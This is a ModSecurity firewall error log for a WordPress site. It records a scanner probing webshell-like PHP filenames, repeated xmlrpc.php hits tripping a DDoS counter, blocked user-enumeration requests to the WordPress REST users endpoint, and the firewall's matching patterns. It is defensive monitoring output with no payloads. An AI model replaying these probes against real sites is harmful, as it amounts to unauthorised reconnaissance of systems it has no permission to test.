[Wed Jan 07 00:18:38.328868 2026] [:error] [pid 44903:tid 44923] [client 20.196.88.169:29547] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aV013thHqjs38zbkQPBSCAAAABA"]
[Wed Jan 07 00:18:38.599207 2026] [:error] [pid 45959:tid 45964] [client 20.196.88.169:27886] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aV013lajdn8P3hjgMYwzpgAAAUI"]
[Wed Jan 07 00:18:38.869477 2026] [:error] [pid 44904:tid 44945] [client 20.196.88.169:30157] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aV013jtieuI1BJEZcvdrkgAAAEQ"]
[Wed Jan 07 00:18:39.141903 2026] [:error] [pid 44903:tid 44915] [client 20.196.88.169:13407] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aV0139hHqjs38zbkQPBSCgAAAAg"]
[Wed Jan 07 00:18:39.412138 2026] [:error] [pid 45959:tid 45975] [client 20.196.88.169:17049] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aV0131ajdn8P3hjgMYwzpwAAAU0"]
[Wed Jan 07 00:18:39.685019 2026] [:error] [pid 35140:tid 35155] [client 20.196.88.169:4021] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aV0133oQaIDFMbT-XMwJVQAAAQ0"]
[Wed Jan 07 00:18:39.958865 2026] [:error] [pid 45959:tid 45974] [client 20.196.88.169:3986] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1vbqo.php"] [unique_id "aV0131ajdn8P3hjgMYwzqQAAAUw"]
[Wed Jan 07 00:18:40.230237 2026] [:error] [pid 44905:tid 44984] [client 20.196.88.169:4072] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1vbqo.php"] [unique_id "aV014Lu7ufwWVst9EAsiIQAAAJA"]
[Wed Jan 07 00:18:40.503533 2026] [:error] [pid 44903:tid 44912] [client 20.196.88.169:27888] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1vbqo.php"] [unique_id "aV014NhHqjs38zbkQPBSDQAAAAU"]
[Wed Jan 07 00:18:40.774782 2026] [:error] [pid 35140:tid 35146] [client 20.196.88.169:13803] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1vbqo.php"] [unique_id "aV014HoQaIDFMbT-XMwJWgAAAQQ"]
[Wed Jan 07 00:18:41.043999 2026] [:error] [pid 44905:tid 44977] [client 20.196.88.169:27875] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0xs.php"] [unique_id "aV014bu7ufwWVst9EAsiJAAAAIk"]
[Wed Jan 07 00:18:41.317874 2026] [:error] [pid 44903:tid 44911] [client 20.196.88.169:13426] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0xs.php"] [unique_id "aV014dhHqjs38zbkQPBSDgAAAAQ"]
[Wed Jan 07 00:18:41.593915 2026] [:error] [pid 35140:tid 35149] [client 20.196.88.169:13401] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0xs.php"] [unique_id "aV014XoQaIDFMbT-XMwJYAAAAQc"]
[Wed Jan 07 00:18:41.862897 2026] [:error] [pid 44904:tid 44944] [client 20.196.88.169:24985] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0xs.php"] [unique_id "aV014TtieuI1BJEZcvdrlwAAAEM"]
[Wed Jan 07 00:18:42.142531 2026] [:error] [pid 35140:tid 35163] [client 20.196.88.169:13431] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/O-Simple.php"] [unique_id "aV014noQaIDFMbT-XMwJYwAAARU"]
[Wed Jan 07 00:18:42.411350 2026] [:error] [pid 44903:tid 44918] [client 20.196.88.169:4036] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/O-Simple.php"] [unique_id "aV014thHqjs38zbkQPBSEAAAAAs"]
[Wed Jan 07 00:18:42.681516 2026] [:error] [pid 35140:tid 35158] [client 20.196.88.169:30187] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/O-Simple.php"] [unique_id "aV014noQaIDFMbT-XMwJZgAAARA"]
[Wed Jan 07 00:18:42.950744 2026] [:error] [pid 44903:tid 44924] [client 20.196.88.169:24146] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/O-Simple.php"] [unique_id "aV014thHqjs38zbkQPBSEwAAABE"]
[Wed Jan 07 00:18:43.218776 2026] [:error] [pid 45959:tid 45970] [client 20.196.88.169:4067] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf9.php"] [unique_id "aV0141ajdn8P3hjgMYwzsAAAAUg"]
[Wed Jan 07 00:18:43.493560 2026] [:error] [pid 35140:tid 35164] [client 20.196.88.169:4004] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf9.php"] [unique_id "aV0143oQaIDFMbT-XMwJaQAAARY"]
[Wed Jan 07 00:18:43.763394 2026] [:error] [pid 45012:tid 45024] [client 20.196.88.169:13433] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf9.php"] [unique_id "aV014xaMAxCuju1d0uZC6QAAAMo"]
[Wed Jan 07 00:18:44.034237 2026] [:error] [pid 44905:tid 44986] [client 20.196.88.169:4045] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf9.php"] [unique_id "aV015Lu7ufwWVst9EAsiJgAAAJI"]
[Wed Jan 07 00:18:44.312095 2026] [:error] [pid 44903:tid 44923] [client 20.196.88.169:24169] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thoms.php"] [unique_id "aV015NhHqjs38zbkQPBSGQAAABA"]
[Wed Jan 07 00:18:44.581927 2026] [:error] [pid 35140:tid 35152] [client 20.196.88.169:24181] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thoms.php"] [unique_id "aV015HoQaIDFMbT-XMwJagAAAQo"]
[Wed Jan 07 00:18:44.855657 2026] [:error] [pid 35140:tid 35157] [client 20.196.88.169:3970] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thoms.php"] [unique_id "aV015HoQaIDFMbT-XMwJbAAAAQ8"]
[Wed Jan 07 00:18:45.124860 2026] [:error] [pid 45959:tid 45973] [client 20.196.88.169:4058] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thoms.php"] [unique_id "aV015Vajdn8P3hjgMYwzswAAAUs"]
[Wed Jan 07 00:18:45.394386 2026] [:error] [pid 44905:tid 44985] [client 20.196.88.169:28545] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadis.php"] [unique_id "aV015bu7ufwWVst9EAsiJwAAAJE"]
[Wed Jan 07 00:18:45.663789 2026] [:error] [pid 45012:tid 45016] [client 20.196.88.169:25022] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadis.php"] [unique_id "aV015RaMAxCuju1d0uZC7QAAAMI"]
[Wed Jan 07 00:18:45.933266 2026] [:error] [pid 45959:tid 45968] [client 20.196.88.169:17067] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadis.php"] [unique_id "aV015Vajdn8P3hjgMYwztQAAAUY"]
[Wed Jan 07 00:18:46.209962 2026] [:error] [pid 45012:tid 45029] [client 20.196.88.169:14173] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadis.php"] [unique_id "aV015haMAxCuju1d0uZC7gAAAM8"]
[Wed Jan 07 00:34:03.737038 2026] [:error] [pid 44905:tid 44991] [client 146.103.45.14:56838] [client 146.103.45.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.103.45.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV05e7u7ufwWVst9EAsnzgAAAJc"]
[Wed Jan 07 00:36:34.237248 2026] [:error] [pid 44905:tid 44986] [client 185.125.27.182:36896] [client 185.125.27.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.125.27.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV06Eru7ufwWVst9EAsofgAAAJI"]
[Wed Jan 07 00:36:37.569197 2026] [:error] [pid 35140:tid 35156] [client 185.125.27.182:36902] [client 185.125.27.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.125.27.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV06FXoQaIDFMbT-XMwOfQAAAQ4"]
[Wed Jan 07 00:36:40.216064 2026] [:error] [pid 35140:tid 35147] [client 185.125.27.182:36916] [client 185.125.27.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.125.27.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV06GHoQaIDFMbT-XMwOfgAAAQU"]
[Wed Jan 07 00:37:44.370236 2026] [:error] [pid 44905:tid 44987] [client 185.182.184.225:36142] [client 185.182.184.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.182.184.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV06WLu7ufwWVst9EAsozAAAAJM"]
[Wed Jan 07 00:37:47.831836 2026] [:error] [pid 35140:tid 35147] [client 185.182.184.225:36152] [client 185.182.184.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.182.184.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV06W3oQaIDFMbT-XMwOtAAAAQU"]
[Wed Jan 07 00:37:51.047857 2026] [:error] [pid 35140:tid 35152] [client 185.182.184.225:36162] [client 185.182.184.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.182.184.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV06X3oQaIDFMbT-XMwOtwAAAQo"]
[Wed Jan 07 01:24:44.971408 2026] [:error] [pid 45959:tid 45979] [client 34.148.191.174:58394] [client 34.148.191.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.191.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1FXFajdn8P3hjgMYxWCgAAAVE"]
[Wed Jan 07 01:24:48.811638 2026] [:error] [pid 45959:tid 45981] [client 34.148.191.174:58394] [client 34.148.191.174] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aV1FYFajdn8P3hjgMYxWEAAAAVM"]
[Wed Jan 07 01:24:50.698253 2026] [:error] [pid 45959:tid 45985] [client 34.148.191.174:58394] [client 34.148.191.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.191.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1FYlajdn8P3hjgMYxWFQAAAVc"]
[Wed Jan 07 01:24:52.812208 2026] [:error] [pid 44905:tid 44981] [client 34.148.191.174:59593] [client 34.148.191.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.191.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1FZLu7ufwWVst9EAs63gAAAI0"]
[Wed Jan 07 01:24:54.717200 2026] [:error] [pid 44904:tid 44953] [client 34.148.191.174:56441] [client 34.148.191.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.191.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1FZjtieuI1BJEZcveEHwAAAEw"]
[Wed Jan 07 01:24:56.650342 2026] [:error] [pid 44905:tid 44987] [client 34.148.191.174:59283] [client 34.148.191.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.191.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1FaLu7ufwWVst9EAs64QAAAJM"]
[Wed Jan 07 01:24:58.909972 2026] [:error] [pid 44905:tid 44988] [client 34.148.191.174:59464] [client 34.148.191.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.191.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1Faru7ufwWVst9EAs65AAAAJQ"]
[Wed Jan 07 01:24:58.910131 2026] [:error] [pid 44905:tid 44988] [client 34.148.191.174:59464] [client 34.148.191.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.148.191.174, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1Faru7ufwWVst9EAs65AAAAJQ"]
[Wed Jan 07 02:00:12.567740 2026] [:error] [pid 45959:tid 45975] [client 35.245.194.164:63086] [client 35.245.194.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.194.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1NrFajdn8P3hjgMYxmggAAAU0"]
[Wed Jan 07 02:00:16.171139 2026] [:error] [pid 45959:tid 45980] [client 35.245.194.164:63086] [client 35.245.194.164] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aV1NsFajdn8P3hjgMYxmhwAAAVI"]
[Wed Jan 07 02:00:18.163068 2026] [:error] [pid 45959:tid 45977] [client 35.245.194.164:63086] [client 35.245.194.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.194.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1Nslajdn8P3hjgMYxmiwAAAU8"]
[Wed Jan 07 02:00:20.190287 2026] [:error] [pid 45959:tid 45985] [client 35.245.194.164:60954] [client 35.245.194.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.194.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1NtFajdn8P3hjgMYxmjgAAAVc"]
[Wed Jan 07 02:00:22.298986 2026] [:error] [pid 44904:tid 44961] [client 35.245.194.164:59325] [client 35.245.194.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.194.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1NtjtieuI1BJEZcvePQQAAAFQ"]
[Wed Jan 07 02:00:24.299204 2026] [:error] [pid 44904:tid 44956] [client 35.245.194.164:60926] [client 35.245.194.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.194.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1NuDtieuI1BJEZcvePQwAAAE8"]
[Wed Jan 07 02:00:26.546289 2026] [:error] [pid 44904:tid 44946] [client 35.245.194.164:55225] [client 35.245.194.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.194.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1NujtieuI1BJEZcvePSwAAAEU"]
[Wed Jan 07 02:00:26.546424 2026] [:error] [pid 44904:tid 44946] [client 35.245.194.164:55225] [client 35.245.194.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.245.194.164, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1NujtieuI1BJEZcvePSwAAAEU"]
[Wed Jan 07 02:32:47.238411 2026] [:error] [pid 35140:tid 35149] [client 91.107.220.37:52952] [client 91.107.220.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.107.220.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1VT3oQaIDFMbT-XMwzBAAAAQc"]
[Wed Jan 07 02:36:57.445275 2026] [:error] [pid 45959:tid 45964] [client 160.191.139.10:47076] [client 160.191.139.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.191.139.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV1WSVajdn8P3hjgMYx2cwAAAUI"]
[Wed Jan 07 05:19:13.495462 2026] [:error] [pid 6571:tid 6632] [client 43.153.204.189:57982] [client 43.153.204.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aV18UQ_rJpa_Vt6ZE1DnmgAAAFM"]
